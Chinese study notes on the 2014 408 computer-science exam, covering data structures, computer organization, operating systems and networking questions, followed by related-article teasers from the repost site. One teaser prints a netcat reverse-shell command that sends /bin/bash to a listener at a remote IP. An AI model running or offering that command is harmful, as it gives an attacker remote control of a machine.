408 | 【2014年】计算机统考真题 自用回顾知识点整理

news2025/2/24 13:17:48

选择题

 

T3:循环队列

不同指针指向,队列判空/判满条件

        

    1. rear:指向队尾元素 front:指向队头元素前一个位置
    (1)牺牲一个存储空间
    (2)判空条件:front == rear
    (3)判满条件:(rear+1)%MaxSize == front

    2. rear:指向队尾下一个元素 front:指向队头元素
    (1)牺牲一个存储空间
    (2)判空条件:front == rear
    (3)判满条件:(rear+1)%MaxSize == front

    3. rear:指向队尾元素 front:指向队头元素 ——注意判空和判满条件
    (1)牺牲一个存储空间
    (2)判空条件:(rear+1)%MaxSize == front
    (3)判满条件:(rear+2)%MaxSize == front
           

    区别与联系
    (1)上述三种指针指向的判空/判满条件均是牺牲一个存储空间,上述三种需要特别注意第三种的指针指向(可以通过画一个换装图好好体会)。
    (2)均可以在结构体内增加 tag (标记上一步是入队还是出队操作,只有入队才会造成假溢出现象) 或 size(标记循环队列中存储数据元素的个数,以此用来区分队满和队空)
    (3)基本入队、出队操作略有不同

—— 同类型题目见 2011年408统考T3

 

T4:线索二叉树的基本概念与构造

  • 线索二叉树是一种物理结构。 n个结点的线索二叉树含有的线索数为n+1。
  • ltag、rtag==1 :前驱或后继
  • 后序遍历线索树的遍历仍然需要栈的支持

 

T5:森林与二叉树的转换

  • 左孩子右兄弟
  • 树转换成二叉树的画法
    • 1、兄弟之间加条线 2、只要大孩子 3、转一下
  • 高度为h的满二叉树,对应森林的树的个数一定为h
  • 对应二叉树 无右孩子的节点个数 = 森林分支结点个数 + 1
  • 对应二叉树 的叶节点个数 = 森林左孩子指针为空的结点个数

 

T8:装填因子

  • 表中记录数n/散列表长度m  即  实际数据数/可放数据数
  • 装填因子越大,冲突越高;反之冲突越小
  • 散列表的平均查找长度依赖于散列表的装填因子,不直接依赖于n或m

 

T14:IEEE754标准

        

         

        这里阶码为移码运算,减去偏置值127,对应的效果即为 阶码最高位取反,其他位加1即可

         

T15:DRAM地址线与数据线复用

        本题中地址线应为 log2(4M) = 22根,数据线应为8根。

        由于DRAM送行列地址分两次传送,导致地址线减半,即11根。

 

T16:缺失损失、提高Cache命中率措施、数据Cache与指令Cache分离

        

        Cache缺失损失主要是由访存时间决定的。—— 提高主存的存取速度。

        提高Cache命中率 —— 增加Cache容量、增强程序局部性。

        结构冒险/资源冲突:硬件资源竞争。解决:①后续暂停一个时钟周期 ②单独设置数据和指令存储器(现代 数据Cache和指令Cahce分离)

 

T17:寻址方式总结

  • 指令寻址:寻找下一条将要执行的指令地址(始终由PC给出)
    • 顺序寻址方式(PC+"1"指令字长)
    • 跳跃寻址方式 (转移类指令实现),注意绝对地址(标记符直接得到),相对地址(偏移量)
  • 数据寻址:寻找本条指令的数据地址
    • 隐含寻址:操作数默认在某个寄存器中或在栈顶,即无需指明操作数在何处
    • 立即寻址:地址字段是操作数本身/立即数(补码)
    • 直接寻址:形式地址即为真实地址EA
    • 一次间接寻址、多次间接寻址:理解为指针的指针
    • 寄存器寻址:给出操作数所在寄存器的编号
    • 寄存器间接寻址:EA保存在寄存器中
    • 相对寻址:EA = (PC) + A,基于局部性原理,广泛应用于转移指令
      • 1、PC的内容加上指令中形式地址A形成操作数的有效地址,即EA = (PC)+ A(A为相对于下一条指令(即PC)的偏移量,可正可负,补码表示)
      • 2、PC在取出使用相对寻址的指令时,就会进行+ “1”操作,即相对寻址是相对于下一条指令的存放地址的偏移量("1"的大小取决于当前正在执行指令的指令字长)
      • 3、优点:便于程序浮动(一段代码在程序内部的浮动)
    • 基址寻址:EA = (BR) + A
      • 1、基址寄存器/重定位寄存器,可采用专用寄存器BR(隐式),也可采用通用寄存器(显式)
      • 2、基址寄存器面向操作系统。
      • 3、若采用专用寄存器,基址寄存器内容由操作系统或管理程序确定,程序运行前,CPU将BR的值修改为程序起始地址(存放在PCB中),程序执行过程中,基址寄存器内容不变(作为基地址),形式地址可变(作为偏移量)。若采用通用寄存器作为基址寄存器时,用户指明是哪个寄存器,但其内容仍由操作系统决定。
      • 4、优点:扩大寻址范围(基址寄存器位数大于形式地址位数),用户不必考虑程序存在主存的哪个空间区域,利于多道程序设计(仅需修改基址寄存器的内容实现不同程序的正确寻址,相较于直接寻址,直接寻址需要修改每条指令的地址;OS动态分配中,每个程序占有连续的内存空间,可以通过基址寄存器记录每个程序在内存中的起始地址,通过偏移量的改变得到正确的地址),并可用于编址浮动程序,但偏移量位数较短。
    • 变址寻址:EA = (IX) +A
      • 1、变址寄存器可采用专用寄存器IX,也可采用通用寄存器。
      • 2、变址寄存器面向用户,程序执行过程中,变址寄存器内容可由用户改变(作为偏移量),形式地址A不变(作为基地址)。
      • 3、优点:扩大寻址范围(变址寄存器位数大于形式地址位数),访问数组时,可设定A为数组首地址,通过改变IX的内容访问数组元素,适合编制循环程序。
    • 堆栈寻址:操作数存放在堆栈中,隐含使用堆栈指针(SP)作为操作数地址。
      • 1、堆栈是寄存器(或专用寄存器组)中一块特定的按"后进先出(LIFO)"原则管理的存储区,该存储区中被读/写单元的地址是用一个特定的寄存器给出的,该寄存器称为堆栈指针(SP)
      • 2、硬堆栈/寄存器堆栈:成本高。不同情况下对SP的操作顺序和操作方式不同(参考数据结构栈),取指令需访存,执行指令无需访存。
      • 3、软堆栈:主存中开辟堆栈空间。每次操作都需要进行访存。

 

T18:微指令

        一条机器指令 = 一个微程序 = 一组微指令

T21:IO接口 相关总结

1、I/O接口的功能和基本结构

  • 主要功能
    • 地址译码和设备选择、实现主机与外设的通信联络、数据缓冲、数据格式转换、传送控制命令和状态信息
  • 基本结构
    • 状态端口可以和控制端口共用一个寄存器。
    • I/O指令:对数据缓冲寄存器、状态/控制寄存器的访问操作的指令,是特权指令。只能在操作系统内核的底层IO软件使用。即通用寄存器与端口之间。

2、I/O端口及其编址

  • I/O端口:接口电路中可被CPU直接访问的寄存器。(通常 CPU对 状态端口读 、数据端口 读写、控制端口 写)。
  • I/O接口:若干端口加上相应的控制逻辑电路组成接口。
  • 编址方式
    • 统一编址(存储器映射方式):当做存储器单元进行地址分配。统一的访存指令访问端口。存储单元和I/O设备依靠不同地址码区分。
    • 独立编址(I/O映射方式):与主存地址空间分离。专门的I/O指令访问端口。存储单元和I/O设备依靠不同指令区分。

 

T22:中断占据CPU时间的计算问题??

        某计算机主频是50MHz,采用定时查询的方式控制设备A的I/O,查询程序运行一次所用的时钟周期至少是500.在设备A工作期间,为保证数据不丢失,每秒需要对其查询至少200次,则CPU用于设备A的I/O的时间占据整个CPU时间的百分比至少是:0.20%。

        分析:如果真的查询到A有I/O请求了,那么CPU将完全用于A的I/O,因此,这里的情况是A并没有发起I/O,CPU作为大家长,要定期查询用掉的时间比。直接计算为:

        某设备中断请求的响应和处理时间为100ns,每400ns发出一次中断请求,中断响应所允许的最长延迟是50ns,CPU用于该设备的I/O时间占整个CPU时间的百分比至少是25%。

        分析:这种类型的问法需要理解每400ns发出一次中断请求的意思。意味着,400ns的CPU时间内可以处理一个中断,且处理时间是100ns,因此这是最直接的问法:100/ 400 = 25%即可。

        至于最长延迟什么的并不会影响每400ns发出一次中断请求,并且这个中断请求一定会被响应、处理。

        设备发出请求和CPU处理是并行的,当前CPU正在处理,此时设备已经在计时400ns后发送下一个请求。所以CPU用于该设备的I/O占比为1:4,同时延时是50ns,在这50ns中CPU没有做任何的处理,所以不算做用于该设备的I/O时间,同时这50ns也是跟设备每400ns发出一次请求并行。综上,至少为25%。

 

T25:常见的特权指令和非特权指令

  常见的非特权指令

  •     取数指令存数指令
  •     时钟指令
  •     加减乘除等算数运算指令
  •     寄存器清零
  •     指令压栈/弹栈指令(push/pop)
  •     跳转指令(转移指令)
  •     trap指令
  •     将运算结果装入内存

  常见的特权指令

  •     开中断指令、关中断指令
  •     时钟指令(置时钟指令)
  •     输入/输出指令(I/O指令)
  •     写PSW寄存器的指令
  •     广义指令(系统调用)的执行
     

T26:一个进程的读磁盘操作完成后,操作系统针对该进程必做的是( )。

A.修改进程状态为就绪态

        

B.降低进程优先级 —— 可不行

        

C.给进程分配用户内存空间 —— 无必然联系,创建新进程时,会分配内存空间。

D.增加进程时间片大小 —— 若进程调度使用时间片轮转调度算法,则时间片大小固定。

 

T28:加快虚实地址转换的措施、外存的两个部分:交换区vs文件区

         

       下列措施中,能加快虚实地址转换的是()。

        l.增大快表(TLB)容量   lI.让页表常驻内存  Ⅲ.增大交换区(swap)

        【分析】虚实地址转换:即逻辑地址和物理地址的转换

        1、增大快表容量:可增加查询快表命中的概率 —— 正确

        2、让页表常驻内存:在采用多级页表的请求分页存储管理系统中,页表常驻内存可保证在查询页表时不会发生缺页、调页的情况,从而加快地址转换 —— 正确

        3、外存的两个部分:交换区vs文件区

                交换区I/O速度更快

                当系统有足够的交换区空间时,页面的换入换出都是通过交换区进行。

                当系统缺少足够的交换区空间时:不会被修改的文件直接从文件区调入,当它们需要换出时,由于未被修改,因此不必换出,直接覆盖即可。可能被修改的页面,将其换出时必须调到交换区,以提升I/0速度。

                页表显然是可能被修改的内容,因此即使交换区空间不足,页表在换出时也必然放在交换区。因此,增加交换区对地址转换的速度无影响

 

T29:read、open系统调用

  • read要求用户提供三个输入参数:①文件描述符fd ②buf缓冲区首址 ③传送的字节数n
  • read的功能是试图从fd所指示的文件中读入n字节的数据,并将它们送至由指针buf所指示的缓冲区。
  • 一个文件被用户进程首次打开即被执行了open操作,会把文件的FCB调入内存;
  • 而不会把文件内容读到内存中,只有进程希望获取文件内容的时候才会读入文件内容。

 

T30:只有FIFO才会导致Belady异常。(分配的物理块数增加而页故障数不减反增)

T31:进程间通信方式

 

 

T35:信道数据传输速率

        信号传播速度与新到的发送速率无关

        

 


 

应用题

 

T41:求二叉树的带权路径长度

        二叉树中所有叶节点的带权路径长度之和!

        基于先序遍历,递归即可。

        不必层序遍历......

        

 

T42:图的存储结构、最短路径

        


        

 


部分内容参考于

王道

某设备中断请求的响应和处理时间为100ns_百度知道

中断占据CPU时间的计算问题_DrCrypto的博客-CSDN博客_中断响应所允许的最长延迟时间

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2688.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C/自定义类型详解】——结构体(struct)、位段、枚举(enum)、联合(union)

关于C语言的知识放在专栏:C 小菜坤日常上传gitee代码:https://gitee.com/qi-dunyan ❤❤❤ 个人简介:双一流非科班的一名小白,期待与各位大佬一起努力! 主要目录1、结构体(struct)1.0 结构体类型…

请问Graph Kernel Fusion(图算融合)在mindspore1.7.0下会生成融合后的mindIR的.dot文件吗

图算融合,GPU (NVIDIA-RTX3080) 验证 【操作步骤&问题现象】 1、参考(基于mindspore0.5.0)链接1: course: MindSpore实验,仅用于教学或培训目的。配合MindSpore官网使用。MindSpore experiments, for teaching or…

mac 安装部署mongoDB社区版

安装mongo可以采用下载安装包也可以使用Homebrew软件包管理工具安装 我一开始是根据网上走的下载安装包进行的,但总是出现各种问题,最后果断选择跟随官网教程走了 先决条件 如已安装,请跳过 1. 安装 Xcode 命令行工具 Homebrew 需要来自 A…

【Mybatis源码】源码分析

【Mybatis源码】源码分析(1)Mybatis的基本执行流程(1)在resources目录下建立一个mybatis-config.xml配置文件(2)准备UserMapper.xml文件(3)使用SqlSessionFactoryBuilder.build构建M…

简单的反弹shell到全交互式shell

经常我们拿到的shell是一个简单的shell 如何把一个简单的shell就升级到一个标准交互式shell 写这篇文章记录一下 # kali 起监听 bash # kali默认是zsh 还不兼容,要切换成bash nc -lvvp 9999# 靶机中执行 nc -e /bin/bash 192.168.100.131 9999 python -c import pty; p…

域内批量获取敏感文件

0x01 批量获取域内机器名 自动化工具,当然就要全自动,懒人必备。net group "domain computers" /do ,获取机器是3个一排,然后可以通过正则删除空格,每次也麻烦,直接获取机器名更加方便。 思路就…

QT调用OpenCV绘制直线、矩形、椭圆、圆、不规则曲线、文本

开发环境:QT5.14.2OpenCV4.5 提前准备:准备编译好的OpenCV开发环境(如自行编译的mingw版的opencv库,本地路径D:\opencv\qt_build64),准备一张测试图片(如:d:\test.jpg)。 项目结构&#xff1a…

如果再来一次,你还会选择互联网么?

现在互联网的就业环境,大家都在感受着一股寒意。也不知道从什么时候开始,身边悲观的声音越来越多了。 如果再给你一次机会,你还会选择互联网吗? 回答这个问题之前,我想跟大家聊聊一个我朋友的故事。 他从学渣到大厂程…

64位下使用回调函数实现监控

前言 在32位的系统下,我们想要实现某些监控十分简单,只需要找到对应的API实现挂钩操作即可检测进程。但在64位系统下随着Patch Guard的引入,导致我们如果继续使用挂钩API的方式进行监控会出现不可控的情况发生。微软也考虑到了用户程序的开发…

Linux shell脚本之笔记及实用笔记

一、前言 二、shell脚本之数据类型 2.1、数组遍历 1)数组定义 如果说变量是存储单个变量的内存空间,那么数组就是多个变量的集合,它存储多个元素在一片连续的内存空间中。在bash中,只支持一维数组,不支持多维数组。Linux Shell 数组用括号来表示,Bash Shell 只支持一维…

15. “接口隔离模式”之 Proxy模式

1. 动机 在面向对象系统中,有些对象由于某些原因(比如对象创建的开销很大,或者某些操作需要安全控制,或者需要进程外的访问等),直接访问会给使用者、或者系统结构带来很多麻烦。如何在不失去透明操作对象的…

Java中值得注意的『运算符、逻辑控制、输入输出』

目录前言一、运算符🍑1、取模运算符%🍑2、增量运算符🍑3、逻辑运算符🍑4、位运算符二、逻辑控制语句🍑1、switch语句三、Java输入和输出🍑1、输出到控制台🍑2、从键盘输入四、猜数字游戏——Jav…

软件过程与项目管理复习(1)

文章目录Week1Project Introduction定义特点Project management项目管理的价值项目管理的5要素Project manager项目经理的技能要求project manager 的核心任务(key activities)规划 planning组织 organizing领导 leading掌控 controllingAgile Scrum master 的核心任…

结构体超详解(小白一看就懂,多维度分析!!!!)

目录 一、前言 二、结构体详解 🍐什么是结构体 🍎结构体的定义与基础结构 🍑结构体的使用 💦结构体的初始化 💦结构体的成员访问 💦结构体数组 💦结构体指针--------------指向结构体变…

PNAS:人类头皮记录电位的时间尺度

导读 人类的许多行为都是由在不同时间尺度上发生的共同过程所支配的。标准的事件相关电位分析假设有关实验事件的响应持续时间是固定的。然而,最近对动物的单个单元记录显示,在需要灵活计时的行为中,神经活动尺度跨越了不同的持续时间。本研…

vue3——使用axios

1、Axios 是什么? 浏览器页面在向服务器请求数据时,因为返回的是整个页面的数据,页面都会强制刷新一下,这对于用户来讲并不是很友好。并且我们只是需要修改页面的部分数据,但是从服务器端发送的却是整个页面的数据,十…

Keras深度学习实战(33)——基于LSTM的序列预测模型

Keras深度学习实战(33)——基于LSTM的序列预测模型0. 前言1. 序列学习任务1.1 命名实体提取1.2 文本摘要1.3 机器翻译2. 从输出网络返回输出序列2.1 传统模型体系结构2.2 返回每个时间戳的网络中间状态序列2.3 使用双向 LSTM 网络小结系列链接0. 前言 在…

Qt易忘样式表总结

目录前言1、Qt设置样式的几种方式2、几种复合控件的样式设置QTableWidgetQCalendarWidgetQTreeWidgetQSpinBoxQComboBox前言 在使用Qt框架开发软件时,为了美观和更好的用户体验,需要为各种控件设置样式。一些通用且简单的样式如背景色、边框、字体字号等…

js实现图片懒加载

js实现图片懒加载 1、介绍getBoundingClientRect()函数 该函数没有参数,用于获取元素位置,返回一个对象,具有六个属性分别是: ele.getBoundingClientRect().top – 返回元素上边到视窗上边的距离 ele.getBoundingClientRect().l…

【经典面试题-LeetCode134:加油站问题(Java实现)】

加油站问题一、题目描述1.题目内容2.样例二、解决方案1.分析2.核心代码一、题目描述 1.题目内容 在一条环路上有 n 个加油站,其中第 i 个加油站有汽油 gas[i] 升。 你有一辆油箱容量无限的的汽车,从第 i 个加油站开往第 i1 个加油站需要消耗汽油 cost[i…